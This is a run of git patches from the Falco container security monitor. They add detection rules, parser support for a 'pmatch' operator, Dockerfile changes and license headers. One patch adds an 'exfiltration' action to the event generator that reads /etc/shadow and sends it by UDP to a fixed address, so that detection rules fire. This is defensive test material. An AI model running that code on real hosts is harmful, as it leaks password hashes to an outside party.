(user=%user.name command=%proc.cmdline container=%container.id)" + output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id))" priority: WARNING - rule: Run shell untrusted @@ -274,6 +274,24 @@ output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING +- macro: trusted_containers + condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig) + +- rule: File Open by Privileged Container + desc: Any open by a privileged container. Exceptions are made for known trusted images. + condition: (open_read or open_write) and container and container.privileged=true and not trusted_containers + output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name) + priority: WARNING + +- macro: sensitive_mount + condition: (container.mount.dest[/proc*] != "N/A") + +- rule: Sensitive Mount by Container + desc: Any open by a container that has a mount from a sensitive host directory (i.e. /proc). Exceptions are made for known trusted images. + condition: (open_read or open_write) and container and sensitive_mount and not trusted_containers + output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name) + priority: WARNING + # Anything run interactively by root # - condition: evt.type != switch and user.name = root and proc.name != sshd and interactive # output: "Interactive root (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)" From 164d5016efbac98aa6aa467760be34d96da9ac31 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 14 Sep 2016 13:53:59 -0700 Subject: [PATCH 23/63] Reduce FPs related to Kubernetes. The new privileged falco rule was noisy when running kubernetes, which can run privileged. Add it to the trusted_containers list. Also eliminate a couple spurious warnings related to spawning shells in containers. --- rules/falco_rules.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 8747fe01..4dad5d2b 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -275,7 +275,7 @@ priority: WARNING - macro: trusted_containers - condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig) + condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig or container.image startswith gcr.io/google_containers/hyperkube) - rule: File Open by Privileged Container desc: Any open by a privileged container. Exceptions are made for known trusted images. @@ -305,7 +305,7 @@ - rule: Run shell in container desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded. - condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl) + condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2) output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From 930b38b89459721f93843b9845a30a8c20234089 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 22 Sep 2016 14:57:43 -0700 Subject: [PATCH 24/63] Add the new pmatch operator. Make changes to the lua-specific rule parser/compiler to handle the pmatch operator. --- userspace/engine/lua/compiler.lua | 4 ++-- userspace/engine/lua/parser.lua | 2 ++ userspace/engine/lua/rule_loader.lua | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/userspace/engine/lua/compiler.lua b/userspace/engine/lua/compiler.lua index 154922c9..7c84bdc9 100644 --- a/userspace/engine/lua/compiler.lua +++ b/userspace/engine/lua/compiler.lua @@ -143,7 +143,7 @@ function check_for_ignored_syscalls_events(ast, filter_type, source) (node.left.value == "evt.type" or node.left.value == "syscall.type") then - if node.operator == "in" then + if node.operator == "in" or node.operator == "pmatch" then for i, v in ipairs(node.right.elements) do if v.type == "BareString" then if node.left.value == "evt.type" then @@ -200,7 +200,7 @@ function get_evttypes(name, ast, source) if found_not then found_event_after_not = true end - if node.operator == "in" then + if node.operator == "in" or node.operator == "pmatch" then for i, v in ipairs(node.right.elements) do if v.type == "BareString" then evtnames[v.value] = 1 diff --git a/userspace/engine/lua/parser.lua b/userspace/engine/lua/parser.lua index 8292f352..b19fbca7 100644 --- a/userspace/engine/lua/parser.lua +++ b/userspace/engine/lua/parser.lua @@ -199,6 +199,7 @@ local G = { RelationalExpression = rel(terminal "FieldName", V"RelOp", V"Value") + rel(terminal "FieldName", V"InOp", V"InList") + + rel(terminal "FieldName", V"PmatchOp", V"InList") + V"PrimaryExp"; PrimaryExp = symb("(") * V"Filter" * symb(")"); @@ -248,6 +249,7 @@ local G = { symb("glob") / "glob" + symb("startswith") / "startswith"; InOp = kw("in") / "in"; + PmatchOp = kw("pmatch") / "pmatch"; UnaryBoolOp = kw("not") / "not"; ExistsOp = kw("exists") / "exists"; diff --git a/userspace/engine/lua/rule_loader.lua b/userspace/engine/lua/rule_loader.lua index 2b7d09dc..4bc39db8 100644 --- a/userspace/engine/lua/rule_loader.lua +++ b/userspace/engine/lua/rule_loader.lua @@ -72,7 +72,7 @@ local function install_filter(node, parent_bool_op) filter.unnest() -- io.write(")") elseif t == "BinaryRelOp" then - if (node.operator == "in") then + if (node.operator == "in" or node.operator == "pmatch") then elements = map(function (el) return el.value end, node.right.elements) filter.rel_expr(node.left.value, node.operator, elements, node.index) else From 9a5e08d7120acc84f7494260a6e46e6f4401e079 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 23 Sep 2016 15:34:32 -0700 Subject: [PATCH 25/63] Fix lua stack leak. Need to pop the results of process_event so the stack doesn't grow without bound. --- userspace/engine/falco_engine.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/userspace/engine/falco_engine.cpp b/userspace/engine/falco_engine.cpp index 15aa11d4..c3a391b2 100644 --- a/userspace/engine/falco_engine.cpp +++ b/userspace/engine/falco_engine.cpp @@ -113,6 +113,7 @@ falco_engine::rule_result *falco_engine::process_event(sinsp_evt *ev) res->rule = p; res->priority = lua_tostring(m_ls, -2); res->format = lua_tostring(m_ls, -1); + lua_pop(m_ls, 3); } else { From 4354043a444c4ebfb3165dc10d904dc24af90134 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 30 Sep 2016 09:39:01 -0700 Subject: [PATCH 26/63] Install gcc-4.9 from Debian Jessie repositories As luca did for the agent, install gcc 4.9 from the debian jesse repository, as it has been removed from unstable. --- docker/dev/Dockerfile | 4 +++- docker/stable/Dockerfile | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/docker/dev/Dockerfile b/docker/dev/Dockerfile index da10948c..9f5c3220 100644 --- a/docker/dev/Dockerfile +++ b/docker/dev/Dockerfile @@ -14,13 +14,15 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/ -RUN apt-get update \ +RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \ + && apt-get update \ && apt-get install -y --no-install-recommends \ bash-completion \ curl \ gnupg2 \ ca-certificates \ gcc \ + gcc-5 \ gcc-4.9 && rm -rf /var/lib/apt/lists/* # Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels, diff --git a/docker/stable/Dockerfile b/docker/stable/Dockerfile index 5ab55b5d..d110fe40 100644 --- a/docker/stable/Dockerfile +++ b/docker/stable/Dockerfile @@ -14,13 +14,15 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/ -RUN apt-get update \ +RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \ + && apt-get update \ && apt-get install -y --no-install-recommends \ bash-completion \ curl \ ca-certificates \ gnupg2 \ gcc \ + gcc-5 \ gcc-4.9 && rm -rf /var/lib/apt/lists/* # Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels, From 644f017b2abaf74ccd84af2afead194bbfca1534 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 7 Oct 2016 10:51:25 -0700 Subject: [PATCH 27/63] Add license comments to all source code. Add comment blocks to all source code w/ our gpl copyright notice. --- docker/event-generator/event_generator.cpp | 18 ++++++++++++++++++ userspace/engine/config_falco_engine.h.in | 18 ++++++++++++++++++ userspace/engine/falco_common.cpp | 18 ++++++++++++++++++ userspace/engine/falco_common.h | 18 ++++++++++++++++++ userspace/engine/falco_engine.cpp | 18 ++++++++++++++++++ userspace/engine/falco_engine.h | 18 ++++++++++++++++++ userspace/engine/lua/compiler.lua | 17 +++++++++++++++++ userspace/engine/lua/parser.lua | 17 +++++++++++++++++ userspace/engine/lua/rule_loader.lua | 17 +++++++++++++++++ userspace/engine/rules.cpp | 18 ++++++++++++++++++ userspace/engine/rules.h | 18 ++++++++++++++++++ userspace/falco/configuration.cpp | 18 ++++++++++++++++++ userspace/falco/configuration.h | 18 ++++++++++++++++++ userspace/falco/falco.cpp | 18 ++++++++++++++++++ userspace/falco/falco_outputs.cpp | 17 +++++++++++++++++ userspace/falco/falco_outputs.h | 18 ++++++++++++++++++ userspace/falco/formats.cpp | 18 ++++++++++++++++++ userspace/falco/formats.h | 18 ++++++++++++++++++ userspace/falco/logger.cpp | 18 ++++++++++++++++++ userspace/falco/logger.h | 18 ++++++++++++++++++ userspace/falco/lua/output.lua | 18 ++++++++++++++++++ userspace/falco/lua/test.lua | 17 +++++++++++++++++ 22 files changed, 391 insertions(+) diff --git a/docker/event-generator/event_generator.cpp b/docker/event-generator/event_generator.cpp index 266eeaeb..8d62a990 100644 --- a/docker/event-generator/event_generator.cpp +++ b/docker/event-generator/event_generator.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #include #include #include diff --git a/userspace/engine/config_falco_engine.h.in b/userspace/engine/config_falco_engine.h.in index a0481911..56ad1508 100644 --- a/userspace/engine/config_falco_engine.h.in +++ b/userspace/engine/config_falco_engine.h.in @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #define FALCO_ENGINE_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/" diff --git a/userspace/engine/falco_common.cpp b/userspace/engine/falco_common.cpp index 1e2361ec..974dd23b 100644 --- a/userspace/engine/falco_common.cpp +++ b/userspace/engine/falco_common.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #include #include "config_falco_engine.h" diff --git a/userspace/engine/falco_common.h b/userspace/engine/falco_common.h index d08a274d..075e18fc 100644 --- a/userspace/engine/falco_common.h +++ b/userspace/engine/falco_common.h @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #include diff --git a/userspace/engine/falco_engine.cpp b/userspace/engine/falco_engine.cpp index c3a391b2..e7dfcacc 100644 --- a/userspace/engine/falco_engine.cpp +++ b/userspace/engine/falco_engine.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #include #include #include diff --git a/userspace/engine/falco_engine.h b/userspace/engine/falco_engine.h index 30223c99..7b6c0971 100644 --- a/userspace/engine/falco_engine.h +++ b/userspace/engine/falco_engine.h @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #include diff --git a/userspace/engine/lua/compiler.lua b/userspace/engine/lua/compiler.lua index 7c84bdc9..98c7fcc2 100644 --- a/userspace/engine/lua/compiler.lua +++ b/userspace/engine/lua/compiler.lua @@ -1,3 +1,20 @@ +-- +-- Copyright (C) 2016 Draios inc. +-- +-- This file is part of falco. +-- +-- falco is free software; you can redistribute it and/or modify +-- it under the terms of the GNU General Public License version 2 as +-- published by the Free Software Foundation. +-- +-- falco is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with falco. If not, see . + local parser = require("parser") local compiler = {} diff --git a/userspace/engine/lua/parser.lua b/userspace/engine/lua/parser.lua index b19fbca7..b13ca81e 100644 --- a/userspace/engine/lua/parser.lua +++ b/userspace/engine/lua/parser.lua @@ -1,3 +1,20 @@ +-- +-- Copyright (C) 2016 Draios inc. +-- +-- This file is part of falco. +-- +-- falco is free software; you can redistribute it and/or modify +-- it under the terms of the GNU General Public License version 2 as +-- published by the Free Software Foundation. +-- +-- falco is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with falco. If not, see . + --[[ Falco grammar and parser. diff --git a/userspace/engine/lua/rule_loader.lua b/userspace/engine/lua/rule_loader.lua index 4bc39db8..c207b1c9 100644 --- a/userspace/engine/lua/rule_loader.lua +++ b/userspace/engine/lua/rule_loader.lua @@ -1,3 +1,20 @@ +-- +-- Copyright (C) 2016 Draios inc. +-- +-- This file is part of falco. +-- +-- falco is free software; you can redistribute it and/or modify +-- it under the terms of the GNU General Public License version 2 as +-- published by the Free Software Foundation. +-- +-- falco is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with falco. If not, see . + --[[ Compile and install falco rules. diff --git a/userspace/engine/rules.cpp b/userspace/engine/rules.cpp index 8e0ecad4..8b14a1c3 100644 --- a/userspace/engine/rules.cpp +++ b/userspace/engine/rules.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #include "rules.h" #include "logger.h" diff --git a/userspace/engine/rules.h b/userspace/engine/rules.h index 75c617ca..da2e7b06 100644 --- a/userspace/engine/rules.h +++ b/userspace/engine/rules.h @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #include diff --git a/userspace/falco/configuration.cpp b/userspace/falco/configuration.cpp index e41a9cda..63716d72 100644 --- a/userspace/falco/configuration.cpp +++ b/userspace/falco/configuration.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #include "configuration.h" #include "logger.h" diff --git a/userspace/falco/configuration.h b/userspace/falco/configuration.h index 2076b5aa..3bf3d8ff 100644 --- a/userspace/falco/configuration.h +++ b/userspace/falco/configuration.h @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #include diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index 7e986487..b0847d30 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #define __STDC_FORMAT_MACROS #include diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index d16cbdda..03f6b8a7 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -1,3 +1,20 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ #include "falco_outputs.h" diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h index 28da94d6..247d837c 100644 --- a/userspace/falco/falco_outputs.h +++ b/userspace/falco/falco_outputs.h @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #include "falco_common.h" diff --git a/userspace/falco/formats.cpp b/userspace/falco/formats.cpp index 48b9a1a0..d3ef1f00 100644 --- a/userspace/falco/formats.cpp +++ b/userspace/falco/formats.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #include #include "formats.h" diff --git a/userspace/falco/formats.h b/userspace/falco/formats.h index 4a71c926..83a3609c 100644 --- a/userspace/falco/formats.h +++ b/userspace/falco/formats.h @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #include "sinsp.h" diff --git a/userspace/falco/logger.cpp b/userspace/falco/logger.cpp index 86af8207..aa60fb27 100644 --- a/userspace/falco/logger.cpp +++ b/userspace/falco/logger.cpp @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #include #include "logger.h" #include "chisel_api.h" diff --git a/userspace/falco/logger.h b/userspace/falco/logger.h index 971a134d..e0f0e2bf 100644 --- a/userspace/falco/logger.h +++ b/userspace/falco/logger.h @@ -1,3 +1,21 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + #pragma once #include "sinsp.h" diff --git a/userspace/falco/lua/output.lua b/userspace/falco/lua/output.lua index 1ff631ab..bd757916 100644 --- a/userspace/falco/lua/output.lua +++ b/userspace/falco/lua/output.lua @@ -1,3 +1,21 @@ +-- +-- Copyright (C) 2016 Draios inc. +-- +-- This file is part of falco. +-- +-- falco is free software; you can redistribute it and/or modify +-- it under the terms of the GNU General Public License version 2 as +-- published by the Free Software Foundation. +-- +-- falco is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with falco. If not, see . + + local mod = {} levels = {"Emergency", "Alert", "Critical", "Error", "Warning", "Notice", "Informational", "Debug"} diff --git a/userspace/falco/lua/test.lua b/userspace/falco/lua/test.lua index ae986dce..95868f17 100644 --- a/userspace/falco/lua/test.lua +++ b/userspace/falco/lua/test.lua @@ -1,3 +1,20 @@ +-- +-- Copyright (C) 2016 Draios inc. +-- +-- This file is part of falco. +-- +-- falco is free software; you can redistribute it and/or modify +-- it under the terms of the GNU General Public License version 2 as +-- published by the Free Software Foundation. +-- +-- falco is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with falco. If not, see . + local parser = require "parser" if #arg ~= 1 then From 82903359cb471937b31eadad4012117e2625a5d8 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 7 Oct 2016 15:36:53 -0700 Subject: [PATCH 28/63] Add exfiltration action, env-specified actions. Add an exfiltration action that reads /etc/shadow and sends the contents to a arbitrary ip address and port via a udp datagram. Add the ability to specify actions via the environment instead of the command line. If actions are specified via the environment, they replace any actions specified on the command line. --- docker/event-generator/event_generator.cpp | 79 +++++++++++++++++++++- 1 file changed, 78 insertions(+), 1 deletion(-) diff --git a/docker/event-generator/event_generator.cpp b/docker/event-generator/event_generator.cpp index 8d62a990..5bbe844f 100644 --- a/docker/event-generator/event_generator.cpp +++ b/docker/event-generator/event_generator.cpp @@ -21,10 +21,13 @@ along with falco. If not, see . #include #include #include +#include +#include #include #include #include #include +#include #include #include #include @@ -64,7 +67,12 @@ void usage(char *program) printf(" (used by user_mgmt_binaries below)\n"); printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n"); printf(" rules related to user management programs\n"); + printf(" exfiltration Read /etc/shadow and send it via udp to a\n"); + printf(" specific address and port\n"); printf(" all All of the above\n"); + printf(" The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n"); + printf(" as a colon-separated list\n"); + printf(" if specified, -a/--action overrides any environment variables\n"); printf(" -i/--interval: Number of seconds between actions\n"); printf(" -o/--once: Perform actions once and exit\n"); } @@ -83,6 +91,50 @@ void open_file(const char *filename, const char *flags) } +void exfiltration() +{ + ifstream shadow; + + shadow.open("/etc/shadow"); + + if(!shadow.is_open()) + { + fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno)); + return; + } + + string line; + string shadow_contents; + while (getline(shadow, line)) + { + shadow_contents += line; + shadow_contents += "\n"; + } + + int rc; + ssize_t sent; + int sock = socket(PF_INET, SOCK_DGRAM, 0); + struct sockaddr_in dest; + + dest.sin_family = AF_INET; + dest.sin_port = htons(8197); + inet_aton("10.5.2.6", &(dest.sin_addr)); + + if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0) + { + fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno)); + return; + } + + if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size()) + { + fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno)); + return; + } + + close(sock); +} + void touch(const char *filename) { open_file(filename, "w"); @@ -312,7 +364,8 @@ map defined_actions = {{"write_binary_dir", write_binary_dir}, {"non_sudo_setuid", non_sudo_setuid}, {"create_files_below_dev", create_files_below_dev}, {"exec_ls", exec_ls}, - {"user_mgmt_binaries", user_mgmt_binaries}}; + {"user_mgmt_binaries", user_mgmt_binaries}, + {"exfiltration", exfiltration}}; void create_symlinks(const char *program) @@ -403,6 +456,30 @@ int main(int argc, char **argv) } } + // + // Also look for actions in the environment. If specified, they + // override any specified on the command line. + // + char *env_action = getenv("EVENT_GENERATOR_ACTIONS"); + + if(env_action) + { + actions.clear(); + + string envs(env_action); + istringstream ss(envs); + string item; + while (std::getline(ss, item, ':')) + { + if((it = defined_actions.find(item)) == defined_actions.end()) + { + fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str()); + exit(1); + } + actions.insert(*it); + } + } + if(actions.size() == 0) { actions = defined_actions; From f6720d3993cfde07fd4a3d73a8bd3360aa901a34 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 12 Oct 2016 17:05:07 -0700 Subject: [PATCH 29/63] Add jq to docker images. Add jq to the docker image containing falco. jq is very handy for transforming json, which comes into play if you want to post to slack (or other) webhooks. --- docker/dev/Dockerfile | 1 + docker/stable/Dockerfile | 1 + 2 files changed, 2 insertions(+) diff --git a/docker/dev/Dockerfile b/docker/dev/Dockerfile index 9f5c3220..961b4fed 100644 --- a/docker/dev/Dockerfile +++ b/docker/dev/Dockerfile @@ -19,6 +19,7 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources && apt-get install -y --no-install-recommends \ bash-completion \ curl \ + jq \ gnupg2 \ ca-certificates \ gcc \ diff --git a/docker/stable/Dockerfile b/docker/stable/Dockerfile index d110fe40..36111a07 100644 --- a/docker/stable/Dockerfile +++ b/docker/stable/Dockerfile @@ -19,6 +19,7 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources && apt-get install -y --no-install-recommends \ bash-completion \ curl \ + jq \ ca-certificates \ gnupg2 \ gcc \ From 20440912b73c443db7f0fade3f4fdc246b850b27 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 12 Oct 2016 17:08:28 -0700 Subject: [PATCH 30/63] Add notes on how to post to slack webhooks. Add comments for program_output that show how to post to a slack webhook and an alernate logging method--came up in one of the github issues. --- falco.yaml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/falco.yaml b/falco.yaml index fae68e0b..d9a0d9d7 100644 --- a/falco.yaml +++ b/falco.yaml @@ -23,6 +23,12 @@ file_output: stdout_output: enabled: true +# Possible additional things you might want to do with program output: +# - send to a slack webhook: +# program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX" +# - logging (alternate method than syslog): +# program: logger -t falco-test + program_output: enabled: false program: mail -s "Falco Notification" someone@example.com From 3bb84f5498e7003dfb1caba979b563b2628cc9c7 Mon Sep 17 